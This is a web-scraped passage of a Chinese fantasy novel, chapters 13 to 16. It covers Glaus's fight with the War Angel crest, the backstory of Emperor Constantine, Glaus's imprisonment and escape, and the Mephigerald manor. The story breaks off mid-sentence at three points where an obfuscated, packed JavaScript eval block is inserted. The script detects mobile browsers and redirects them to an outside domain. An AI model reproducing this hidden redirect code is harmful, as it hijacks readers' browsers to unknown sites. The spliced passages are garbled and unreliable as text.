格劳斯惊得朝一旁跳开,天使的剑刺破地毯,直插进下面的大理石地砖,发出锵的一声巨响,石头的碎屑纷飞。格劳斯暗暗吃惊对方的力气,天使的头盔没有缝隙,正面仅有一个十字形的花纹。他身披金属铠甲,当天使快速冲刺时,气流穿过铠甲之间细小的缝隙,发出刺耳的尖啸声。 天使的动作极快,须臾之间已在狮子的背上砍了一剑,格劳斯吃痛地大叫一声,眼前一阵阵发黑。而他背上的伤口也不再快速愈合,相反,不断有黑色的血液从伤口里流下来。被天使伤害过的伤口不能愈合吗?格劳斯还在纳闷,天使已经又一次发动攻击,他的动作很机械,每一次都是在半空中停顿。向后微撤步蓄力,然后快速的用左手剑刺向敌人。只是他的速度太快了。格劳斯不再躲闪,在天使再一次冲刺时,他仅仅微微让开致命伤,在天使的剑刺向自己右腹时,狮子挥出前爪,狠狠拍在对方的头盔上。 预想中的攻击没有奏效,格劳斯眼睁睁的看着自己的爪子穿过对方的头盔,对方毫发无伤,像穿过一片空气。而天使金色的剑已经刺入自己的小腹,格劳斯感觉自己的五脏六腑都要裂开,失血让他全身的力气快速的流失。他勉强躲过天使的下一次攻击,然而几个呼吸之后,就已经遍体鳞伤。 为什么对方可以伤到自己,自己的攻击却没有效果?格劳斯盯着天使覆着面甲的头盔,他似乎没有眼睛,为什么总能找到自己? 格劳斯想起来那个濒死的老人,他的腹部是三条可怖的口子,曾被狮子的爪子撕开。这是恶魔纹章曾经的主人做的,显然,老人把自己认成了他——恶魔纹章曾对老人留下了致命伤害。自己没理由做不到。 天使旋转起来,他从头到脚都是锋锐的,快速旋转起来时,就像一把轮转的剑,周身的空气随着天使的动作摩擦出阵阵刺耳的尖叫。 这是最后一次机会。这是最后致命的一击——战争天使挥剑前举,像统帅般发起冲锋。格劳斯盯着天使金色的身影,明亮的像坠落的太阳,狮子白色的眼睛大睁,那一瞬间连呼吸都停止—— 一对黑色的长角从狮子额头伸出来,如枯萎的枝干扭曲生长着,狮子白色的眼睛转瞬发生了变化,雾蒙蒙的眼白中央浮现一对方形的黑色瞳孔。 这是格劳斯从恶魔纹章中继承的另一个能力,他的前主人称其为‘精神污染’。格劳斯还从未使用过。因为持有者性格的不同,这个能力在格劳斯·耶格尔的身上也发生了变化,转变为‘恶魔之视’。格劳斯对这一切都不知情,他只感觉脑袋尖锐的疼痛,朝战争天使投向注视的那一刻,他感觉好像一把利剑破开了自己的头颅,狮子的鬃毛也一瞬间变成白色。而天使的动作第一次有所迟钝,在怪物的注视中,战争天使身上的铠甲和背后的羽毛如花瓣般片片解离,化成碎片。 格劳斯的视野变成一片白茫茫的雾气,房间里所有的一切消失了,只剩灵魂的颜色。当他看向天使时,他看到的不再是身披铠甲的金色神明,而是一枚纹章,他从君主康斯坦丁的灵魂中诞生。他的主人已经死亡,纹章遵循主人最后的愿望,战胜最后一个敌人。 胸口一痛,天使的长剑已经刺进自己的心脏。格劳斯感觉到更多记忆顺着崩毁的纹章涌入自己的脑海: 托拜厄斯·康斯坦丁知道自己不同于自己的哥哥,他对政治、权谋和外交没有兴趣。那时,他们的父亲刚刚在战场上杀死了龙族之王,建立了属于人类的国家。父亲的身体早就在战争中透支了,他的皇位传给了自己的兄长——他知道自己的哥哥会是优秀的新皇帝,他会和众臣建立一个百废待兴的新国家,而自己只要把所有不服从管教的敌人打趴下就好了。 于是,十六岁的康斯坦丁在哥哥登基的第二天,提着一把随便从国库中拿出的剑上路了。他的出发点是家附近的村庄,那时人类还没有所谓的首都,只有一些人多的村落——他就先把村子附近的土匪揍了一遍。他扛着剑,挑衅人类的敌人有很多,不死鸟、精灵、泰坦、人马……但是康斯坦丁很享受战胜敌人的感觉,每一次让挑战者在自己的剑下饮血,他都感觉自己变得更强大。渐渐的,康斯坦丁也有了自己的追随者,他也不再满足这种骑士竞技般的小打小闹,他开始渴望更多的战斗,那种更大规模的,像自己的父辈曾经历过的,尸山血海的战场。他也有了自己的爱人。 托拜厄斯哀求自己的哥哥,给自己一支军队,让自己扫清‘龙族残党’。他的兄长对自己的行为表示了不满,他还不希望人类与其他所有种族的关系这么僵,而托拜厄斯正让这种隔阂越来越深。但是托拜厄斯的提议最后还是成功了,他如愿得到了自己的军队,开始征伐所有不服从的反抗者。 或许龙族灭亡后的魔族本就是一团散沙,或许他真的是战争奇才,托拜厄斯很快在战场上所向披靡。他的人类军队席卷了卡克奇克大陆,人类帝国的版图开拓到最南端落日山谷,西部的永恒草原,和北部的黑河。 他的征途在黑河结束了。 那时,托拜厄斯正在黑河与最后的龙族决战,他银白色的长剑闪闪发光,在他们的头顶上,如天神般巨大威武的金色天使肆意地翱翔着。 他就在那时听到噩耗——他的兄长死于刺杀,而人类的国家需要新的皇帝继承。托拜厄斯知道自己肆意妄为的日子结束了。 他回到了已经初具规模的亚斯提都,继承了皇位。他第一次知道,原来战争也需要钱,需要这么多钱——在他肆意征伐时,是他的兄长在背后力排众议的支持他。他们的家族岌岌可危,他哥哥的孩子尚且年幼,而他的第一任妻子始终没有怀孕,可是盯着王座的人正如追逐腐肉的苍蝇。 康斯坦丁和另一个大贵族的女儿结婚了,他们的联姻巩固了康斯坦丁的王座。他的第一任妻子自杀了——为了纪念,他将妻子的名字作为自己的中间名,以永远铭记。那时他二十一岁。 康斯坦丁解散了大部分的军队,只设置基本的人数在边界驻扎。他开始将自己的时间投入议会,和群臣争执,讨论永远不够用的钱财。他开始举办宴会,参加宴会的年轻人大多没有参与过战争。他有了三个孩子。 可是,康斯坦丁渐渐发现异样——时间在他的身上流逝,可是他却没有变得老迈,相反,在他的妻子和下属老去的时候,他却依然保持着青年时期的俊美和强壮。起先,康斯坦丁不以为意;但是,当他的第二任妻子满头华发,他却依然如健美的金色神明时,康斯坦丁感觉不对劲了。有人称之为神迹,但是康斯坦丁知道这一切一定存在答案。 蒙面的预言师只看了康斯坦丁一眼,便给出了解答:他的纹章,战争天使,正在延续他的生命力。 “什么意思?” “我们听说,任何纹章达到极致时,都会接近神。陛下的纹章从战斗中诞生,您的每一次战斗,都使之更加强大。现在他叫什么名字?” “战争天使。”康斯坦丁抿了抿嘴,不高兴的说道。 “原来如此,那就很明显了。您的纹章能力已入无人之境,他在让您一直保持巅峰的状态。” “为什么我的父亲,兄长……其他人没有这样的效果?” “即使是相同的纹章,在不同人身上也是不同的。有的人天生不喜欢战斗,而有的人就是为了战争而生的。您一定参加了很多浩大的战役吧?死在您手下的生灵越多,您的战争天使就越强大。” 康斯坦丁不太高兴,他冷冰冰地问道:“按你的说法,只要我不断杀人,就可以一直活着了?” 预言师点点头。 “是的。只要您想……战争天使会无条件的实现您的愿望。” “告诉我这种事,不怕遭到报复吗?”康斯坦丁高声问,“你们独角兽一族也可以为我的愿望牺牲。” 预言师不卑不亢地说:“陛下,我只能回答您的问题,但是如何实现您的愿望,永远没有最佳答案。” 康斯坦丁感觉杀意在喉咙中涌动,他压抑下来,继续问道:“如果我一直活着,会怎么样?” 预言师撩开面纱,露出失明的眼睛,望向康斯坦丁。一圈圈螺旋状的线条浮满他的面庞,他的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502502|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音颤抖起来,发出奇异的音符: [只要您坐在王座上,您的国家就会一直站在顶峰。] 预言师说。 [您会同您的兄长一样死于恶魔之手。如果您放弃帝位,他就不会存在。] “恶魔是谁?” 预言师一直睁着的眼睛流出血泪,为了预测未来,那些螺旋状的花纹几乎将他的眼睛填满了。 “黑与白……”预言师断断续续地说,“羊的角,陛下——” 康斯坦丁拔出长剑,银白色的光一闪,预言师已经倒在地上。 七十岁。康斯坦丁开始享受身体保持在巅峰的感觉。他的妻子已经病逝,臣子,跟随的人都在老去,他的孩子都有人长眠于地下,但是那又如何?康斯坦丁像二十岁一样高居于王座之上,他还可以拥有新的妻子、新的孩子。只是唯一美中不足的,过了这么多年,依然没有一个康斯坦丁家族的人诞生能比肩战争天使的纹章,他们的纹章都像战争天使的亚种,自然也没人能拥有父亲那样的寿命,分享父亲的秘密。或许是再没有人能像康斯坦丁那样战斗过了,康斯坦丁为自己拥有这一切骄傲而得意。 但是,从九十岁开始,他的身体开始衰退了。战争天使赋予他的生命力正在减弱,他开始感觉呼吸不畅,头发长出银丝,时常精力不济。他身边的大臣关切的对他嘘寒问暖,他的子女也来探望自己旧居王座的父亲。但是康斯坦丁知道,他们惦记的是自己的位置,自己长生的秘密。 更让康斯坦丁恐惧的,是随着变老带来的迟钝感。他已在巅峰期待的太久了,久的他已经习惯、上瘾、沉迷了,他不能再接受自己的身躯不是巅峰时的样子,他不能接受变老,因为太久远离死亡,他已经不能面对死亡了。 他已经停不下来了。 康斯坦丁再一次发动了战争。人类的军队在边境和魔族厮杀,染红了草原,直到血流成河。但是军队的实力早已不复往昔,他们的边界因此收缩了上百英里。尽管如此,康斯坦丁感觉自己的生命力又回来了,当他精力充沛的从卧室走出来,自己的子女对父亲吃惊不已。他们的样子提醒了他——他需要继续杀人,但是不希望再有第二个人跟自己争王座了。——他把康斯坦丁家族的人遣散,并开始暗中培养自己的杀人鬼,他的天使们,负责帮自己找来可供杀死的奴隶,并处决所有威胁帝位的敌人。 时间就这样流逝,可是战争天使的力量并不是无穷的,补充的生命力总是不够。为了继续活着,康斯坦丁逐渐忘记了自己是谁,他忘记了曾经的亲人、朋友、孩子,他的肌肉开始萎缩,他的视力早已失去,可是对死亡的恐惧依然驱使着他,于是战争天使依然忠实的实现着他的愿望,他仍然活着,哪怕只剩心脏跳动。 百年时光呼啸而过,康斯坦丁坐在王座上,他仍然活着,可是很多时候,他自己都不知道自己还存在。 金色的战争天使还保持着长剑插入格劳斯心脏的姿势,双手持剑,一动不动,宛如一尊雕塑。他背后的六翼翅膀,已脱落的只剩两翼,血红色的房间里已铺满金色的羽毛。 然后,天使松开手,任由那柄长剑刺在格劳斯的胸口,跟着重新站起身。他的躯体已经小了很多,由于主人康斯坦丁死亡,战争天使纹章很快就要毁灭了。他扇动翅膀,从格劳斯的视角看,天使从破损的窗棂飞出去,飞向水晶皇宫之外,那里依然矗立着康斯坦丁国王的雕像。 金色的战争天使绕着康斯坦丁的雕像飞了几圈,他喜悦的环绕着主人,康斯坦丁站在那里,一个石雕的幽灵,永远年轻、永远骄傲、永远野心勃勃。金发青年目光直视远方,挥剑前举,好像世界仍在脚下。倏忽之间,天使的盔甲寸寸裂开,化作漫天的金色碎片,散成无数光点,很快消散不见。 格劳斯想要把胸口的剑拔出来,但是他伤得太重,或者他的血也跟着流干了,他甚至抬不起一根手指。就在这时,他听见拐杖驻地的声音,宰相走到他的身边,穿着赭色的外衣,红发如血。格劳斯看不清他的样子。 “最后的战争天使就此坠下。他的主人,征服王,托拜厄斯·乔·康斯坦丁,享年183岁。” 14. 14-梦想者 · 内特是在议会上听到康斯坦丁国王去世的消息的。他的老师海森堡将军已在前一天出发,前往南方见庞贝皇子,未来的皇位继承人。 内特颇为吃惊在短短两天内发生的这么多大事,而议会里的其他人则显得惶惶不安,除了自己的父亲,当然,毕竟是爸爸把这个消息告诉大家的。他们应该不安:托拜厄斯·乔·康斯坦丁二十一岁即位,在位一百六十年,这间屋子里的所有人出生的时候,康斯坦丁就已经坐在皇位上了。康斯坦丁是伟大的征服者,他在位时,人类帝国的版图扩张到了有史以来的最远端;尽管内特从未见过康斯坦丁鼎盛时期的样子,他们的陛下也早已垂垂暮年,行将就木,但是他从未想过自己能看到皇帝死去的一天。他一度以为皇帝永远不会死,就像神一样。 而更重要的是,这意味着什么?谁都没想到不死的战争天使也会坠落,在毫无准备的情况下,现在人类的王国第一次出现了如此巨大的权力变动:王座的顺位继承人,是托拜厄斯·乔·康斯坦丁在一百六十岁时得到的第五个孩子,庞贝·康斯坦丁,这个人在过去的十多年里内特甚至没有见过。另一位潜在的继承人,是庞贝的表弟,西利乌斯。他和其他康斯坦丁家族的人一起,也将在不久后从封地赶往亚斯提都。内特意识到,托拜厄斯·乔·康斯坦丁的死或许不是结局,而是一个开始,是即将陷入动荡的人类国家拉开的帷幕。他的老师,威斯汀·海森堡,或许就是因此才风驰电掣的去见庞贝的吧?内特看着议会的成员们彼此交换着目光,好像一股暗流从王座脚下开始涌动起来。 皮尔斯主教率先叹了口气:“从几日前我就心绪不宁,陛下的噩耗真是让人心碎。陛下的尸体是否要停在圣山教堂中?” 爸爸点点头:“这样当然最好。” 学士恩美尔·沙缪先生的脸还是像他的人偶一样,蜡黄发白、毫无血色,听到这个消息,敲打打字机的动作停了一下。“陛下是何时故去的?” “昨天黄昏的时候。” 沙缪学士点点头,又继续敲打打字机了。 巴萨·威廉姆斯领主的眉毛皱了起来。“为什么我们现在才知道?这究竟是怎么回事?” 爸爸微笑了一下,不紧不慢地说:“陛下遭遇了刺杀。” 他的话让内特的喉咙揪紧了。他站在靠近门的位置,听见父亲继续说道:“我们很遗憾,暗杀者拥有潜行的能力,直到刺杀发生以后我们才发现。” “这怎么可能!”拉赫失声叫道,她的目光飞速瞟了一眼总管爱达荷,“弑君者!水晶王城不是一直被近卫军保护的很好吗?” “弑君者是谁?他是怎么做到的?”威廉姆斯追问道。 “是魔族的某位大领主吗?”沙缪推测到。 “他肯定已经死了吧,”拉赫试探地说,“没有人能在战争天使手下活下来的。” “不,我必须承认:弑君者的身份让我也吃了一惊。”赖兹瑙说,“而且他还活着,相当年轻,就在地宫监牢里。” 内特感觉到自己收在背后的手指抽动了一下,一股寒意窜上他的脑海。 拉赫浅葱般的手指附上嘴唇,议会内陷入短暂的寂静,所有人都因为宰相话语里的含义而不安着。 “还活着……?”威廉姆斯低声说,看向赖兹瑙:“他,呃——” “他的样子、纹章、背后的主使,”恩美尔·沙缪开口道:“必须水落石出。” “您告诉我们这些,是因为已经得到答案了吗?”皮尔斯主教问向赖兹瑙。 赖兹瑙回答道:“我已经和这位弑君者有过一次对话。谈话的内容我无法透露,不过,这位刺杀者的精神状态相当不稳定。” 皮尔斯主教深吸了一口气。“造孽啊。” “是你让他发疯的?”威廉姆斯问,“你故意支走大将军,又在一切结束以后才告诉我们,现在事情的真相是什么,只有你才知道……” “别说了,巴萨。”一直没有开口的爱达荷总管打断了他,他脸色苍白,“皇帝遭刺,这是近卫军的失职,我会在庞贝皇子即位后向他请辞。” 赖兹瑙没有对威廉姆斯的发难作出回应,他朝爱达荷点了一下头:“陛下遇刺,我们所有臣子都有责任。你的女儿,克莱希,在近卫军的职位不会受影响。” 爱达荷擦了一把脸上的汗水,他的目光往向窗外的皇帝雕塑。“海森堡将军会接手亚斯提都的近卫军吗?” “近卫军总管的新人选是谁,全由大将军威斯汀·海森堡任命。”赖兹瑙说,“我们相信海森堡将军会做出最合适的选择。” “那个,年轻的、弑君者?”小拉赫·克劳狄在最后低声开口了,“他是什么样子?您会绞死他吗?” “一位棕发的青年。”赖兹瑙微笑着说,“是的,他会被绞死,在庞贝皇帝即位后。如果他能活到那时候的话。” ·· 地宫的寒气有点太冷了。内特不安的从阴影中现身,他在很小的时候随父亲来过这里,看犯人被从地牢里提出来,带到刑场上处死。那件事情让内特在一段时间里频频噩梦缠身,内特以为自己一辈子不会再来这里了。 他轻手轻脚的在地宫的石柱之间穿梭,托空间纹章的福,他可以毫无声息的在守卫眼皮底下走过去,甚至能发出声音而不被任何人听见。内特的目光快速扫过每一间牢房,不知道自己是不是真想在某一间里面看见自己熟悉的人影。他还是不敢相信父亲说的话,有棕发的青年并不是什么罕见的特征,但是父亲语意背后的威胁让内特不寒而栗。 他绝不相信格劳斯是什么刺客,他不过是个才得到一天纹章的菜鸟而已。在前一天晚上,自己还和他……内特心中恼怒,在自己和格劳斯·耶格尔分别以后,究竟发生了什么?如果格劳斯·耶格尔真的在这里,他一定要问清楚。 内特在最里间的牢房门口停下,这间牢房从外面看一片漆黑,森森冷气从里面渗出来,让人起鸡皮疙瘩。只有走廊尽头点燃着莹莹的火炬,带来一点亮光。内特感觉到面前栏杆的后面有人,但是牢房里面的黑暗让他看不见,而对危险的警觉让他不愿靠的太近。 内特正在思考如何开口,里面的人说话了。他的声音很哑,冰冷,甚至不像人类发出来的。 “内特?是你吗?” 内特愣了一下,小声问:“格劳斯?你怎么知道是我?” “我闻到了你的气味。” 内特忍不住凑近了一些,“你怎么回事?爸爸说你杀了皇帝,这是真的吗?” 格劳斯沉默了一下,或许是在思考该如何回答。隔着栏杆,内特依然看不见牢房里面的情形。过了一会,格劳斯说: “是的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502503|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但是是误会……在我见到皇帝之前,他就已经受了致命伤了。” “所以皇帝不是你杀的?为什么你能见到他?” “我也不知道。说来话长……”格劳斯疲倦地叹了口气,“内特,你为什么会来?” “我听说了皇帝遇刺的事,”内特在背后绞了绞手指,“我不相信你会是刺杀者,格劳斯。我们明明一直在一起。” “没有人会信的。” “我去跟爸爸说!你是无辜的,爸爸肯定知道。” “就是你父亲把我关在监牢里。”格劳斯说,“你应该小心你爸爸,内特……皇帝死的时候,他也在场。” “爸爸不可能伤害我的。就算爸爸那时候在,他也肯定有他的打算!”内特说,“格劳斯,在庞贝来之前还有好几天时间,我会去找人——” “内特,千万不要这么做。千万不要告诉任何人你认识我。”格劳斯说,“我会被绞死,对吗?——我留在这里只有死路一条。” 内特感觉声带绷紧了,他硬着喉咙说道:“你怎么知道?你就这么对我没信心吗?” “内特,战争天使是靠杀戮来获得力量的。康斯坦丁能活到现在,就是因为他早年杀了太多人,后来也一直不断地杀人。就凭他的纹章,我不相信康斯坦丁家族的任何人能心慈手软。你……你和他们不一样。你也该离开这里。” “你说什么?”内特皱着眉头问,“我为什么要走?” “这里让你不快乐,不是吗?我一直都闻得到你身上的恐惧和不安。你的父亲根本不是你想的那样友善无辜,等庞贝来的时候,只会有更多杀戮。你跟我一起走吧!” “你在说什么啊,格劳斯·耶格尔!”内特有些生气了,“离开亚斯提都?你疯了吗?这是我的家!去外面,外面只有那些落后、野蛮的魔族,你要我到那里去?!” 他握住栏杆,张开空间屏障,把自己和牢笼后面的格劳斯层层分隔开来。“我不会走,你也不许走,格劳斯!” 内特还是看不见监牢内部的情况,铁栏杆冰冷冷的背后,只有伸手不见五指的黑暗。他听见什么东西拖过地面发出梭梭的声音,不知为何,他突然有些害怕看见格劳斯此刻的样子。 “内特,”他听见格劳斯的声音,哪怕看不见对方,他的声音却离自己越来越近了。 “我永远不会伤害你的。” 一股歇斯底里的恐惧突然攫住内特的心脏,黑暗之中亮起两点白色来,一条覆着鳞片的纯黑巨蟒骤然钻出来,他的血盆大口张向内特,内特心底一慌,不久前被蛇咬伤的记忆又浮现上来,冰冷麻木的感觉立刻笼罩全身,四肢吓得动弹不得,那条巨蟒已经冲破监狱的铁栏杆和自己的空间屏障,像打碎玻璃,而内特感觉一股大力撞到自己颈后,便被格劳斯打晕过去。 黑蟒居高临下的看着失去意识的银发青年,蛇的身躯缠绕着内特,黑鳞慢慢地绞紧了。他听见走廊尽头传来士兵跑动的声音,因为自己的举动,他们几分钟内就会赶过来。 他想……吞噬他,这样自己就永远不用担心诺言了。他想带他走,到世界任何地方去…… 可是内特不会同意的。他已经拒绝了自己,格劳斯没办法强迫他。 黑蟒松开缠着青年的身子,快速的游向阴影中。 再见,内特·梅菲杰拉德。 15. 15-三首,已去其一 · 黑蟒沿着地牢的管道盘旋而上,他的视力在黑暗中反而提升了数倍,阴冷潮湿的水泥反而是他喜欢的状态。从空气中捕捉到的气味看,人类卫兵大多聚集在自己刚刚逃脱的下层,管道尽头则是一片空旷,格劳斯快速在脑海里勾画出自己曾在亚斯提都走过的地图,那些街道和暗巷变得如此清晰,哪怕他从没记过,此刻也像书一样被从记忆中翻出来。更不可思议的是,一条隧道正从外面连如水晶王国地下,和当初通往红房子的是同一条。地底黑暗、阴冷又静谧的感觉让黑蛇着迷。 格劳斯简直要爱上此刻的状态了,哪怕他的肚子里还萦绕着饥饿的感觉,温血的生物此刻被视为唾手可及的猎物,他的胃在忍耐的收缩着,想象着生物的血液从牙齿间流破,咽进喉咙里的感觉……当他感觉到泥土逐渐变得潮湿寒冷,甚至能听到护城河的水声时,他甚至产生了一丝遗憾:为什么当初你要向贝克兰德先生打报告呢!若是没有人发现,你就可以一辈子在这些地下隧道中穿梭,然后每天都能饱餐一顿了。 捕食这个概念让格劳斯悚然一惊,人?为什么他会产生,猎食人类的想法?他可不是什么冷血动物啊。康斯坦丁被长生折磨的形销骨立的形象蓦然印入脑海,若是我继续保持这个恶魔纹章的形象,难道我最后也会迷失自己? 格劳斯打了个寒颤,感觉原本包裹着自己的冷意慢慢消退,他从先前接近动物的游离、冰冷、多疑的精神状态开始抽离出来,黑蛇的身躯盘到一起,他的鳞片向外张开,一阵阵黑色的烟雾从蛇的鳞片下释放出来,将蛇的身躯笼罩。在黑雾里,蛇的外形开始褪去,蛇鳞下的皮肤开始骨肉反转,黑色生物不属于人类的部分开始收缩,纤长的肌肉群重新凝结生长,很快,黑色的蟒蛇消失了,只剩一位棕发青年从地上站起来。 接近黎明的街道静悄悄的,空气冷极了,一丝鱼肚白正在东方可见。天空,尚未落下的月亮在云层中若隐若现。格劳斯理了理身上破损的衣服,快步走到城墙外的阴影下。 在高墙的另一侧,护城河正湍急的拍动着,雨季即将来临,夏季上涨的河水会席卷沿途的一切,顺着平原一路冲进东海。在过去住在村里的日子,格劳斯不知多少次被夏季的暴雨淋成落汤鸡,他们的作物也不是被水淹坏就是堤坝被水冲塌。 海洋,格劳斯咀嚼着这个词,他还从没见过大海呢。 格劳斯正要爬上城墙,突然感觉手臂皮肤一阵冰冷刺痛,他侧过眉头,看见五根黑色的手指正从小臂的皮下慢慢伸出来,指尖污垢粗粝,透着骇人的尸僵,仿佛一个死去的人藏在自己的皮下,刚刚把手破开皮肤从里面伸出来。格劳斯感觉头皮发麻,他急忙把靠近城墙的手抽回来,可那只黑色的手还是在慢慢从自己的皮肤下长出来,伸出小臂,甚至连皮肤上面青黑色的血管都清晰可见。格劳斯心中警铃大作,眼看着那只手直直向自己的脖子伸来,好像要把自己掐死。 来不及理解身体的异变,格劳斯的左手立时化为一只锋利的狮爪,将那只不详的黑手斩了下去。黑色的手臂掉在地上,其五指还在蠕蠕而动,而格劳斯则感觉右臂一阵剧痛,仿佛骨肉尽断,血已一刻不停的从伤口流了出去。格劳斯痛得几乎昏迷,还在不断地抽气,就看见刚刚触碰过右手的左爪也开始扭曲,伴随着阵阵尖锐的疼痛,一只遍生鳞片的黑色爪子从反方向从自己的身体里生了出来,狰狞骇人,体内的怪物不跑出来不罢休。不仅如此,格劳斯感觉自己的后颈一阵发麻,他快速摸了一下,手下一阵冰冷怪异,只感觉一张扭曲的脸正从自己的颈后挣扎着伸出来。他想起第一次看见恶魔时,羊首从断裂的狮头和蛇神中突兀生长出来的样子。 格劳斯心中害怕至极,他也不在乎此刻会不会再被卫兵看见,已化身成一只巨大的发狂的狮子,撕咬自己身上变异的躯体,那些黑色的肉块、手指和怪脸被从自己的身上扯下去,可是留给他的只有更大的痛苦,浑身的肌肉都传来神经般的抽痛,因为不断失血而变得虚弱的神智,格劳斯只感觉一阵冰冷恐怖的寒意渗进自己的脑海,渗进自己的四肢,让他连呼吸都变得沉重。 格劳斯倒在地上,他看见那些从躯体上脱落的身体们,它们正在慢慢变化,黑色和怪异褪去,变成与自己相似的四肢的一部分。这怎么可能呢?难道从始至终,他伤害的都是在自己的躯体吗?……是什么时候?是谁做的这一切? 格劳斯感觉自己的意识在越来越沉重,他的心脏在停跳,疼痛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16502504|186016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还席卷着他的全身,但是那痛苦也逐渐消失了,化为一种宁静,终结的死亡将降临。 ·· 当近卫军报告弑君者从地牢里逃走时,宰相正坐在书房里翻看一本卷轴。听到消息,红发的宰相稍微抬了一下头,面对气喘吁吁的士兵,不急不慢地微笑了一下:“是吗?真是出人意料。” “我们该怎么办,赖兹瑙先生?”士兵惶惶地说。 红衣的宰相望了一眼窗户,窗外的天空还蒙蒙亮,它的一角被圣山教堂的钟楼遮住。在钟楼的背后不远处,是亚斯提都的东城墙。那里,护城河的水依然在其下翻滚着。 “去城墙附近看看吧,士兵。”赖兹瑙说,“我猜,他或许会到那里去。” “可是等我们赶去,他可能已经逃走了。”士兵不安地说。 “逃走?”宰相摇了摇头,他已经转回椅子里,重新翻看起书。“或许吧。但是,如果他没有,我希望你们把他带来。无论他变成什么样子、还剩下什么。” 士兵朝赖兹瑙行了一个军礼,快步退了出去。 赖兹瑙低下头,看向卷轴里最后一段话: 他们是三胞胎,【共享】同一个纹章,却拥有不同的性格。工于心计的白羊迦古利涅,变幻莫测的黑蛇赫涅忒尔,贪婪霸道的雄狮卡卡玛芙。托拜厄斯在讨伐他们时,【不得不将他们杀死三次】,才终于在黑烟中将三人的尸体焚烧殆尽。 赖兹瑙的手指点了点黑蛇赫涅特尔的名字。 他知道这一次,恶魔还是会逃走。但是无所谓,他已经得到了想要的一切。 “三首,已去其一。”赖兹瑙说,叹了口气。“这就是为什么我讨厌兽纹章。太麻烦了。” (暗堡第一卷完) ps 士兵:“还有一件事,您的公子在与弑君者的战斗中受伤,被发现昏倒在地牢里。我们该怎们办?” 大臣的表情罕见的僵了一下,说话时甚至被呛到了。 “内、内特吗?他在地牢里面?” 士兵第一次看见宰相陷入这么长时间的思考。 “别管他。不、还是救治吧,送去圣山医院。让他醒了以后等我。净会惹事的兔崽子……” 16. 16-梅菲杰拉德庄园 夏夜的闪光在最后的龙吟中消失。 梅菲杰拉德庄园,屹立在亚斯提都郊外,莱普辛河绕着庄园缓缓流淌。此庄园原本属于前领主弗雷德里亚,已有百年历史。在大领主死后,财政大臣赖兹瑙·梅菲杰拉德从其子嗣手下将庄园买下来,改造后作为自己的私宅。 梅菲杰拉德庄园带有一个漂亮的庭院,栽种着来自卡克奇克大陆各地的奇花异草;圆形的中庭外侧立着藤花花架。时值盛夏,紫色和粉色的藤花正大朵大朵的开放着。在草坪和花圃后面,是砖石古堡式的庄园结构,它的正厅与大理石长廊相连,第一层便是宽阔的客厅,二层才是各种卧房;庄园主体建筑的设计是为了方便宾客从自己的房间出来后,走下旋转的楼梯,就能在一层的大厅载歌载舞。 此刻,一位银发的青年正百无聊赖的躺在正厅的沙发上。因为不久后有宴会的准备,大量仆人正在房间里进进出出,把原本铺在各种家具上的白色防尘布揭开,打开窗户,擦洗屋内的各种银器。 青年躺在棕红色的长沙发上,正单手把玩一颗玛瑙珠子,他把赤红色的小球向头顶上一抛一抛,又在它即将落下时接住。过了一会,显然青年玩腻了这种游戏,把玛瑙重新塞回墙上的兽首标本嘴巴里,由于他之前暴力的把珠子扣出来,现在这只野猪的嘴巴有些松动了。 青年一骨碌翻起身。 “你们忙你们的,”他摆摆手,“如果有人找我,就说我去打猎了。” “公子,现在林场还没开。”管家有些犹豫地说,“而且,您的父亲还不许您……” “禁足!我知道啦!我都在家里足不出户的闷了两个星期了。”青年烦躁的揉揉头发,直到那头柔顺的如月光般的头发被他揉乱。他穿一件浅白色金边便服,裸着蜜色的双臂,光着脚,俊美的容貌透露着不耐烦。 就在这时,庭院外传来哒哒的马蹄声,很快,一个褐发的青年就快步跑了进来。他穿着灰色的高级军官衣装,蹬马靴,衣服的领子敞开着,没戴军帽,因为刚从炎热的外面跑进来而满身大汗。年轻人的脸有些婴儿肥,还带着孩子气的笑容。刚一进门,他就嚷嚷道:“热死啦!有没有加冰的酒和水果?你们都不知道夏天能这么热!”他脱下手套,一边扇着风,看见青年,立刻露出喜悦的神情: “内特!我就猜你会在!”他大叫道,张开双臂,要给内特一个拥抱。内特嫌恶的往旁边挪了挪,让对方汗津津的手扑了个空。 “别碰我,扎克。你先把衣服换了。”内特说,“你一个人?你父亲呢?” 